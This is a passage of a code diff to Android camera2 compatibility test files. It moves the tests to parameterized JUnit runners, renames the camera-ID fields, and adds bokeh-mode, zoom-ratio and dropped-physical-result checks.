+ for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
+ validate3aRegion(result, algo, expectRegions[i], scaleByZoomRatio);
+ }
+
+ previousRatio = resultZoomRatio;
+ }
+ }
+
private void digitalZoomPreviewCombinationTestByCamera() throws Exception {
final double ASPECT_RATIO_THRESHOLD = 0.001;
List<Double> aspectRatiosTested = new ArrayList<Double>();
@@ -2773,6 +2935,42 @@
}
}
+ private void bokehModeTestByCamera(List<Range<Integer>> fpsRanges) throws Exception {
+ Capability[] bokehCaps = mStaticInfo.getAvailableBokehCapsChecked();
+ if (bokehCaps.length == 0) {
+ return;
+ }
+
+ Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+ CaptureRequest.Builder requestBuilder =
+ mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+
+ for (Capability bokehCap : bokehCaps) {
+ int mode = bokehCap.getMode();
+ requestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, mode);
+
+ // Test that OFF and CONTINUOUS mode doesn't slow down the frame rate
+ if (mode == CaptureRequest.CONTROL_BOKEH_MODE_OFF ||
+ mode == CaptureRequest.CONTROL_BOKEH_MODE_CONTINUOUS) {
+ verifyFpsNotSlowDown(requestBuilder, NUM_FRAMES_VERIFIED, fpsRanges);
+ }
+
+ Range<Float> zoomRange = bokehCap.getZoomRatioRange();
+ float[] zoomRatios = new float[]{zoomRange.getLower(), zoomRange.getUpper()};
+ for (float ratio : zoomRatios) {
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+ requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, ratio);
+ startPreview(requestBuilder, maxPreviewSize, listener);
+ waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
+
+ verifyCaptureResultForKey(CaptureResult.CONTROL_BOKEH_MODE,
+ mode, listener, NUM_FRAMES_VERIFIED);
+ verifyCaptureResultForKey(CaptureResult.CONTROL_ZOOM_RATIO,
+ ratio, listener, NUM_FRAMES_VERIFIED);
+ }
+ }
+ }
+
//----------------------------------------------------------------
//---------Below are common functions for all tests.--------------
//----------------------------------------------------------------
@@ -3187,7 +3385,8 @@
* @param expectRegions The 3A regions expected in capture result
*/
private void validate3aRegion(
- CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions)
+ CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions,
+ boolean scaleByZoomRatio)
{
final int maxCorrectionDist = 2;
int maxRegions;
@@ -3215,30 +3414,35 @@
boolean correctionEnabled =
distortionCorrectionMode != null &&
distortionCorrectionMode != CaptureResult.DISTORTION_CORRECTION_MODE_OFF;
+ Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
+ int maxDist = correctionEnabled ? maxCorrectionDist : 1;
+ if (scaleByZoomRatio) {
+ maxDist = (int)Math.ceil(maxDist * zoomRatio);
+ }
if (maxRegions > 0)
{
actualRegion = getValueNotNull(result, key);
- if (correctionEnabled) {
+ if (correctionEnabled || scaleByZoomRatio) {
for(int i = 0; i < actualRegion.length; i++) {
Rect a = actualRegion[i].getRect();
Rect e = expectRegions[i].getRect();
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.left - e.left))) continue;
+ maxDist, Math.abs(a.left - e.left))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.right - e.right))) continue;
+ maxDist, Math.abs(a.right - e.right))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.top - e.top))) continue;
+ maxDist, Math.abs(a.top - e.top))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.bottom - e.bottom))) continue;
+ maxDist, Math.abs(a.bottom - e.bottom))) continue;
}
} else {
mCollector.expectEquals(
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index ab65015..da0c32e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -21,6 +21,7 @@
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureFailure;
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.params.BlackLevelPattern;
@@ -37,6 +38,7 @@
import static android.hardware.camera2.cts.CameraTestUtils.*;
import static android.hardware.camera2.cts.helpers.CameraSessionUtils.*;
+import static junit.framework.Assert.*;
import android.util.Log;
import android.view.Surface;
@@ -51,6 +53,11 @@
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(Parameterized.class)
public class CaptureResultTest extends Camera2AndroidTestCase {
private static final String TAG = "CaptureResultTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -58,29 +65,15 @@
private static final int NUM_FRAMES_VERIFIED = 30;
private static final long WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
-
// List tracking the failed test keys.
@Override
- public void setContext(Context context) {
- super.setContext(context);
-
- /**
- * Workaround for mockito and JB-MR2 incompatibility
- *
- * Avoid java.lang.IllegalArgumentException: dexcache == null
- * https://code.google.com/p/dexmaker/issues/detail?id=2
- */
- System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
- }
-
- @Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
}
@@ -95,8 +88,9 @@
* a capture result.
* </p>
*/
+ @Test
public void testCameraCaptureResultAllKeys() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
openDevice(id);
if (mStaticInfo.isColorOutputSupported()) {
@@ -149,10 +143,11 @@
* onCaptureProgressed callbacks.
* </ul></p>
*/
+ @Test
public void testPartialResult() throws Exception {
final int NUM_FRAMES_TESTED = 30;
final int WAIT_FOR_RESULT_TIMOUT_MS = 2000;
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
// Skip the test if partial result is not supported
int partialResultCount = mAllStaticInfo.get(id).getPartialResultCount();
@@ -264,8 +259,9 @@
* Check that the timestamps passed in the results, buffers, and capture callbacks match for
* a single request, and increase monotonically
*/
+ @Test
public void testResultTimestamps() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
ImageReader previewReader = null;
ImageReader jpegReader = null;
@@ -401,16 +397,22 @@
}
TotalCaptureResult result = null;
+ // List of (frameNumber, physical camera Id) pairs
+ ArrayList<Pair<Long, String>> droppedPhysicalResults = new ArrayList<>();
for (int i = 0; i < numFramesVerified; i++) {
result = captureListener.getTotalCaptureResult(WAIT_FOR_RESULT_TIMEOUT_MS);
+
Map<String, CaptureResult> physicalCaptureResults = result.getPhysicalCameraResults();
- errorCollector.expectEquals("Number of physical result metadata doesn't match " +
- physicalCaptureResults.size() + " vs " + requestedPhysicalIds.size(),
- physicalCaptureResults.size(), requestedPhysicalIds.size());
+ ArrayList<String> droppedIds = new ArrayList<String>(requestedPhysicalIds);
+ droppedIds.removeAll(physicalCaptureResults.keySet());
+ for (String droppedId : droppedIds) {
+ droppedPhysicalResults.add(
+ new Pair<Long, String>(result.getFrameNumber(), droppedId));
+ }
validateOneCaptureResult(errorCollector, staticInfo, waiverKeys, allKeys,
requestBuilder, result, null/*cameraId*/, i);
- for (String physicalId : requestedPhysicalIds) {
+ for (String physicalId : physicalCaptureResults.keySet()) {
StaticMetadata physicalStaticInfo = allStaticInfo.get(physicalId);
validateOneCaptureResult(errorCollector, physicalStaticInfo,
physicalWaiverKeys.get(physicalId),
@@ -418,6 +420,23 @@
physicalId, i);
}
}
+
+ // Verify that all dropped physical camera results are notified via capture failure.
+ while (captureListener.hasMoreFailures()) {
+ ArrayList<CaptureFailure> failures =
+ captureListener.getCaptureFailures(/*maxNumFailures*/ 1);
+ for (CaptureFailure failure : failures) {
+ String failedPhysicalId = failure.getPhysicalCameraId();
+ Long failedFrameNumber = failure.getFrameNumber();
+ if (failedPhysicalId != null) {
+ droppedPhysicalResults.removeIf(
+ n -> n.equals(
+ new Pair<Long, String>(failedFrameNumber, failedPhysicalId)));
+ }
+ }
+ }
+ errorCollector.expectTrue("Not all dropped results for physical cameras are notified",
+ droppedPhysicalResults.isEmpty());
}
private static void validateOneCaptureResult(CameraErrorCollector errorCollector,
@@ -673,6 +692,10 @@
waiverKeys.add(CaptureResult.STATISTICS_OIS_SAMPLES);
}
+ if (staticInfo.getAvailableBokehCapsChecked().length == 0) {
+ waiverKeys.add(CaptureResult.CONTROL_BOKEH_MODE);
+ }
+
if (staticInfo.isHardwareLevelAtLeastFull()) {
return waiverKeys;
}
@@ -783,6 +806,7 @@
waiverKeys.add(CaptureResult.CONTROL_AF_MODE);
waiverKeys.add(CaptureResult.CONTROL_AWB_MODE);
waiverKeys.add(CaptureResult.CONTROL_AWB_LOCK);
+ waiverKeys.add(CaptureResult.CONTROL_ZOOM_RATIO);
waiverKeys.add(CaptureResult.STATISTICS_FACE_DETECT_MODE);
waiverKeys.add(CaptureResult.FLASH_MODE);
waiverKeys.add(CaptureResult.SCALER_CROP_REGION);
@@ -922,6 +946,8 @@
resultKeys.add(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
resultKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+ resultKeys.add(CaptureResult.CONTROL_BOKEH_MODE);
+ resultKeys.add(CaptureResult.CONTROL_ZOOM_RATIO);
resultKeys.add(CaptureResult.EDGE_MODE);
resultKeys.add(CaptureResult.FLASH_MODE);
resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
index 4af437c..b0c806f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
@@ -60,11 +60,18 @@
import java.util.TimeZone;
import java.text.SimpleDateFormat;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
+import static junit.framework.Assert.*;
/**
* Tests for the DngCreator API.
*/
+
+@RunWith(Parameterized.class)
public class DngCreatorTest extends Camera2AndroidTestCase {
private static final String TAG = "DngCreatorTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -99,24 +106,17 @@
}
@Override
- protected void setUp() throws Exception {
- RenderScriptSingleton.setContext(getContext());
-
+ public void setUp() throws Exception {
super.setUp();
+ RenderScriptSingleton.setContext(mContext);
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
RenderScriptSingleton.clearContext();
-
super.tearDown();
}
- @Override
- public synchronized void setContext(Context context) {
- super.setContext(context);
- }
-
/**
* Test basic raw capture and DNG saving functionality for each of the available cameras.
*
@@ -131,16 +131,17 @@
* raw image captured for the first reported camera device to be saved to an output file.
* </p>
*/
+ @Test
public void testSingleImageBasic() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- String deviceId = mCameraIds[i];
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ String deviceId = mCameraIdsUnderTest[i];
ImageReader captureReader = null;
FileOutputStream fileStream = null;
ByteArrayOutputStream outputStream = null;
try {
if (!mAllStaticInfo.get(deviceId).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
@@ -205,9 +206,10 @@
* raw image captured for the first reported camera device to be saved to an output file.
* </p>
*/
+ @Test
public void testSingleImageThumbnail() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- String deviceId = mCameraIds[i];
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ String deviceId = mCameraIdsUnderTest[i];
List<ImageReader> captureReaders = new ArrayList<ImageReader>();
List<CameraTestUtils.SimpleImageReaderListener> captureListeners =
new ArrayList<CameraTestUtils.SimpleImageReaderListener>();
@@ -216,7 +218,7 @@
try {
if (!mAllStaticInfo.get(deviceId).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+ Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
". Skip the test.");
continue;
}
@@ -369,8 +371,9 @@
* adb shell setprop log.tag.DngCreatorTest VERBOSE
* </p>
*/
+ @Test
public void testRaw16JpegConsistency() throws Exception {
- for (String deviceId : mCameraIds) {
+ for (String deviceId : mCameraIdsUnderTest) {
List<ImageReader> captureReaders = new ArrayList<>();
FileOutputStream fileStream = null;
ByteArrayOutputStream outputStream = null;
@@ -461,8 +464,9 @@
/**
* Test basic DNG creation, ensure that the DNG image can be rendered by BitmapFactory.
*/
+ @Test
public void testDngRenderingByBitmapFactor() throws Exception {
- for (String deviceId : mCameraIds) {
+ for (String deviceId : mCameraIdsUnderTest) {
List<ImageReader> captureReaders = new ArrayList<>();
CapturedData data = captureRawJpegImagePair(deviceId, captureReaders);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index a5ea222..d761c6f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -59,14 +59,21 @@
import java.util.regex.Pattern;
import java.util.Set;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import static junit.framework.Assert.*;
+
import static org.mockito.Mockito.*;
/**
* Extended tests for static camera characteristics.
*/
+@RunWith(Parameterized.class)
public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
private static final String TAG = "ExChrsTest"; // must be short so next line doesn't throw
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -128,7 +135,7 @@
private static final int HIGH_SPEED_FPS_UPPER_MIN = 120;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mCharacteristics = new ArrayList<>();
for (int i = 0; i < mAllCameraIds.length; i++) {
@@ -137,7 +144,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
mCharacteristics = null;
}
@@ -146,6 +153,7 @@
* Test that the available stream configurations contain a few required formats and sizes.
*/
@CddTest(requirement="7.5.1/C-1-2")
+ @Test
public void testAvailableStreamConfigs() throws Exception {
boolean firstBackFacingCamera = true;
for (int i = 0; i < mAllCameraIds.length; i++) {
@@ -169,7 +177,7 @@
boolean isMonochromeWithY8 = arrayContains(actualCapabilities, MONOCHROME)
&& arrayContains(outputFormats, ImageFormat.Y8);
- boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, mAllCameraIds[i]);
+ boolean isHiddenPhysicalCamera = !arrayContains(mCameraIdsUnderTest, mAllCameraIds[i]);
boolean supportHeic = arrayContains(outputFormats, ImageFormat.HEIC);
assertArrayContains(
@@ -769,6 +777,7 @@
}
+ @Test
public void testRecommendedStreamConfigurations() throws Exception {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -868,6 +877,7 @@
/**
* Test {@link CameraCharacteristics#getKeys}
*/
+ @Test
public void testKeys() {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -1036,6 +1046,7 @@
/**
* Test values for static metadata used by the RAW capability.
*/
+ @Test
public void testStaticRawCharacteristics() {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -1142,6 +1153,7 @@
/**
* Test values for the available session keys.
*/
+ @Test
public void testStaticSessionKeys() throws Exception {
for (CameraCharacteristics c : mCharacteristics) {
List<CaptureRequest.Key<?>> availableSessionKeys = c.getAvailableSessionKeys();
@@ -1161,6 +1173,7 @@
/**
* Test values for static metadata used by the BURST capability.
*/
+ @Test
public void testStaticBurstCharacteristics() throws Exception {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -1325,6 +1338,7 @@
/**
* Check reprocessing capabilities.
*/
+ @Test
public void testReprocessingCharacteristics() {
for (int i = 0; i < mAllCameraIds.length; i++) {
Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -1453,6 +1467,7 @@
/**
* Check depth output capability
*/
+ @Test
public void testDepthOutputCharacteristics() {
for (int i = 0; i < mAllCameraIds.length; i++) {
Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -1728,6 +1743,7 @@
/**
* Cross-check StreamConfigurationMap output
*/
+ @Test
public void testStreamConfigurationMap() throws Exception {
for (int i = 0; i < mAllCameraIds.length; i++) {
Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[i]);
@@ -1933,6 +1949,7 @@
* Test high speed capability and cross-check the high speed sizes and fps ranges from
* the StreamConfigurationMap.
*/
+ @Test
public void testConstrainedHighSpeedCapability() throws Exception {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -2013,6 +2030,7 @@
/**
* Sanity check of optical black regions.
*/
+ @Test
public void testOpticalBlackRegions() {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -2089,6 +2107,7 @@
/**
* Check Logical camera capability
*/
+ @Test
public void testLogicalCameraCharacteristics() throws Exception {
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
@@ -2163,6 +2182,7 @@
/**
* Check monochrome camera capability
*/
+ @Test
public void testMonochromeCharacteristics() {
for (int i = 0; i < mAllCameraIds.length; i++) {
Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -2297,7 +2317,13 @@
* accessible via Camera2.
*/
@CddTest(requirement="7.5.4/C-0-11")
+ @Test
public void testLegacyCameraDeviceParity() {
+ if (mAdoptShellPerm) {
+ // There is no current way to determine in camera1 api if a device is a system camera
+ // Skip test, http://b/141496896
+ return;
+ }
int legacyDeviceCount = Camera.getNumberOfCameras();
assertTrue("More legacy devices: " + legacyDeviceCount + " compared to Camera2 devices: " +
mCharacteristics.size(), legacyDeviceCount <= mCharacteristics.size());
@@ -2339,6 +2365,7 @@
* Check camera orientation against device orientation
*/
@CddTest(requirement="7.5.5/C-1-1")
+ @Test
public void testCameraOrientationAlignedWithDevice() {
WindowManager windowManager =
(WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
index 0716c24..fc09e51 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
@@ -41,6 +41,8 @@
import android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
/**
@@ -50,6 +52,8 @@
* May not take more than a few seconds to run, to be suitable for quick
* testing.
*/
+
+@RunWith(Parameterized.class)
public class FastBasicsTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "FastBasicsTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -62,17 +66,17 @@
@Presubmit
@Test
public void testCamera2() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing camera2 API for camera device " + mCameraIds[i]);
+ Log.i(TAG, "Testing camera2 API for camera device " + mCameraIdsUnderTest[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
camera2TestByCamera();
} finally {
closeDevice();
diff --git a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
index 1aa6a17..fb1bd6c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
@@ -31,10 +31,17 @@
import java.util.concurrent.TimeUnit;
import static org.mockito.Mockito.*;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
/**
* <p>Tests for flashlight API.</p>
*/
+
+@RunWith(Parameterized.class)
public class FlashlightTest extends Camera2AndroidTestCase {
private static final String TAG = "FlashlightTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -45,13 +52,13 @@
private ArrayList<String> mFlashCameraIdList;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// initialize the list of cameras that have a flash unit so it won't interfere with
// flash tests.
mFlashCameraIdList = new ArrayList<String>();
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
StaticMetadata info =
new StaticMetadata(mCameraManager.getCameraCharacteristics(id),
CheckLevel.ASSERT, /*collector*/ null);
@@ -61,6 +68,7 @@
}
}
+ @Test
public void testSetTorchModeOnOff() throws Exception {
if (mFlashCameraIdList.size() == 0)
return;
@@ -124,6 +132,7 @@
}
}
+ @Test
public void testTorchCallback() throws Exception {
testTorchCallback(/*useExecutor*/ false);
testTorchCallback(/*useExecutor*/ true);
@@ -169,12 +178,13 @@
}
}
+ @Test
public void testCameraDeviceOpenAfterTorchOn() throws Exception {
if (mFlashCameraIdList.size() == 0)
return;
for (String id : mFlashCameraIdList) {
- for (String idToOpen : mCameraIds) {
+ for (String idToOpen : mCameraIdsUnderTest) {
resetTorchModeStatus(id);
CameraManager.TorchCallback torchListener =
@@ -225,15 +235,16 @@
}
}
+ @Test
public void testTorchModeExceptions() throws Exception {
// cameraIdsToTestTorch = all available camera ID + non-existing camera id +
// non-existing numeric camera id + null
- String[] cameraIdsToTestTorch = new String[mCameraIds.length + 3];
- System.arraycopy(mCameraIds, 0, cameraIdsToTestTorch, 0, mCameraIds.length);
- cameraIdsToTestTorch[mCameraIds.length] = generateNonexistingCameraId();
- cameraIdsToTestTorch[mCameraIds.length + 1] = generateNonexistingNumericCameraId();
+ String[] cameraIdsToTestTorch = new String[mCameraIdsUnderTest.length + 3];
+ System.arraycopy(mCameraIdsUnderTest, 0, cameraIdsToTestTorch, 0, mCameraIdsUnderTest.length);
+ cameraIdsToTestTorch[mCameraIdsUnderTest.length] = generateNonexistingCameraId();
+ cameraIdsToTestTorch[mCameraIdsUnderTest.length + 1] = generateNonexistingNumericCameraId();
- for (String idToOpen : mCameraIds) {
+ for (String idToOpen : mCameraIdsUnderTest) {
openDevice(idToOpen);
try {
for (String id : cameraIdsToTestTorch) {
@@ -288,8 +299,8 @@
private String generateNonexistingCameraId() {
String nonExisting = "none_existing_camera";
- for (String id : mCameraIds) {
- if (Arrays.asList(mCameraIds).contains(nonExisting)) {
+ for (String id : mCameraIdsUnderTest) {
+ if (Arrays.asList(mCameraIdsUnderTest).contains(nonExisting)) {
nonExisting += id;
} else {
break;
@@ -299,11 +310,15 @@
}
// return a non-existing and non-negative numeric camera id.
- private String generateNonexistingNumericCameraId() {
- int[] numericCameraIds = new int[mCameraIds.length];
+ private String generateNonexistingNumericCameraId() throws Exception {
+ // We don't rely on mCameraIdsUnderTest to generate a non existing camera id since
+ // mCameraIdsUnderTest doesn't give us an accurate reflection of which camera ids actually
+ // exist. It just tells us the ones we're testing right now.
+ String[] allCameraIds = mCameraManager.getCameraIdListNoLazy();
+ int[] numericCameraIds = new int[allCameraIds.length];
int size = 0;
- for (String cameraId : mCameraIds) {
+ for (String cameraId : allCameraIds) {
try {
int value = Integer.parseInt(cameraId);
if (value >= 0) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
index 0cb5c1b..f729cc7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
@@ -55,6 +55,11 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(Parameterized.class)
public class HeifWriterTest extends Camera2AndroidTestCase {
private static final String TAG = HeifWriterTest.class.getSimpleName();
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -79,6 +84,7 @@
super.tearDown();
}
+ @Test
public void testHeif() throws Exception {
final int NUM_SINGLE_CAPTURE_TESTED = 3;
final int NUM_HEIC_CAPTURE_TESTED = 2;
@@ -93,7 +99,7 @@
boolean sessionFailure = false;
Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing HEIF capture for Camera " + id);
openDevice(id);
diff --git a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
index 34d0947..9caf365 100644
--- a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
@@ -26,9 +26,12 @@
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
+
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Process;
@@ -40,6 +43,8 @@
import org.junit.AfterClass;
import org.junit.BeforeClass;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.ArgumentCaptor;
@@ -52,8 +57,9 @@
* get an error callback losing the camera handle. Similarly if the UID is
* already idle it cannot obtain a camera handle.
*/
-@RunWith(AndroidJUnit4.class)
-public final class IdleUidTest {
+
+@RunWith(Parameterized.class)
+public final class IdleUidTest extends Camera2ParameterizedTestCase {
private static final long CAMERA_OPERATION_TIMEOUT_MILLIS = 5000; // 5 sec
private static final HandlerThread sCallbackThread = new HandlerThread("Callback thread");
@@ -73,10 +79,8 @@
*/
@Test
public void testCameraAccessForIdleUid() throws Exception {
- final CameraManager cameraManager = InstrumentationRegistry.getTargetContext()
- .getSystemService(CameraManager.class);
- for (String cameraId : cameraManager.getCameraIdList()) {
- testCameraAccessForIdleUidByCamera(cameraManager, cameraId,
+ for (String cameraId : mCameraIdsUnderTest) {
+ testCameraAccessForIdleUidByCamera(cameraId,
new Handler(sCallbackThread.getLooper()));
}
}
@@ -86,32 +90,29 @@
*/
@Test
public void testCameraAccessBecomingInactiveUid() throws Exception {
- final CameraManager cameraManager = InstrumentationRegistry.getTargetContext()
- .getSystemService(CameraManager.class);
- for (String cameraId : cameraManager.getCameraIdList()) {
- testCameraAccessBecomingInactiveUidByCamera(cameraManager, cameraId,
+ for (String cameraId : mCameraIdsUnderTest) {
+ testCameraAccessBecomingInactiveUidByCamera(cameraId,
new Handler(sCallbackThread.getLooper()));
}
-
}
- private void testCameraAccessForIdleUidByCamera(CameraManager cameraManager,
- String cameraId, Handler handler) throws Exception {
+ private void testCameraAccessForIdleUidByCamera(String cameraId, Handler handler)
+ throws Exception {
// Can access camera from an active UID.
- assertCameraAccess(cameraManager, cameraId, true, handler);
+ assertCameraAccess(mCameraManager, cameraId, true, handler);
// Make our UID idle
makeMyPackageIdle();
try {
// Can not access camera from an idle UID.
- assertCameraAccess(cameraManager, cameraId, false, handler);
+ assertCameraAccess(mCameraManager, cameraId, false, handler);
} finally {
// Restore our UID as active
makeMyPackageActive();
}
// Can access camera from an active UID.
- assertCameraAccess(cameraManager, cameraId, true, handler);
